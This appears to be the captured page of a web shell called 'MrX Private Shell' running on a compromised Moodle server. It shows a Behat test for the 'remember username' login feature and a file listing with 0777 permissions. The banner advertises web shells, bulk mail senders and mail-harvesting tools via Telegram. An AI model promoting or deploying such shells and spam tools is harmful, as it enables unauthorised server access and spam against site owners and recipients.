__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core @core_auth
Feature: Test the 'remember username' feature works.
  In order for users to easily log in to the site
  As a user
  I need the site to remember my username when the feature is enabled

  Background:
    Given the following "users" exist:
      | username |
      | teacher1 |

  # Given the user has logged in and selected 'Remember username', when they log in again, then their username should be remembered.
  Scenario: Check that 'remember username' works without javascript for teachers.
    # Log in the first time with $CFG->rememberusername set to Yes.
    Given the following config values are set as admin:
      | rememberusername | 1 |
    And I am on homepage
    And I click on "Log in" "link" in the ".logininfo" "css_element"
    And I set the field "Username" to "teacher1"
    And I set the field "Password" to "teacher1"
    And I press "Log in"
    And I log out
    # Log out and check that the username was remembered.
    When I am on homepage
    And I click on "Log in" "link" in the ".logininfo" "css_element"
    Then the field "username" matches value "teacher1"

  # Given the user has logged in before and selected 'Remember username', when they log in again and unset 'Remember username', then
  # their username should be forgotten for future log in attempts.
  Scenario: Check that 'remember username' unsetting works without javascript for teachers.
    # Log in the first time with $CFG->rememberusername set to Optional.
    Given the following config values are set as admin:
      | rememberusername | 2 |
    And I am on homepage
    And I click on "Log in" "link" in the ".logininfo" "css_element"
    And I set the field "Username" to "teacher1"
    And I set the field "Password" to "teacher1"
    And I press "Log in"
    And I log out
    # Log in again, the username should have been remembered.
    When I am on homepage
    And I click on "Log in" "link" in the ".logininfo" "css_element"
    Then the field "username" matches value "teacher1"
    And I set the field "Password" to "teacher1"
    And I press "Log in"
    And I log out
    And the following config values are set as admin:
      | rememberusername | 0 |
    # Check username has been forgotten.
    And I am on homepage
    And I click on "Log in" "link" in the ".logininfo" "css_element"
    Then the field "username" matches value ""

Filemanager

Name Type Size Permission Actions
behat_auth.php File 2.5 KB 0777
displayloginfailures.feature File 2.91 KB 0777
login.feature File 3.13 KB 0777
login.php File 2.97 KB 0777
loginform.feature File 4.66 KB 0777
logout.php File 1.33 KB 0777
rememberusername.feature File 2.31 KB 0777
validateagedigitalconsentmap.feature File 2.52 KB 0777
verifyageofconsent.feature File 2 KB 0777
Filemanager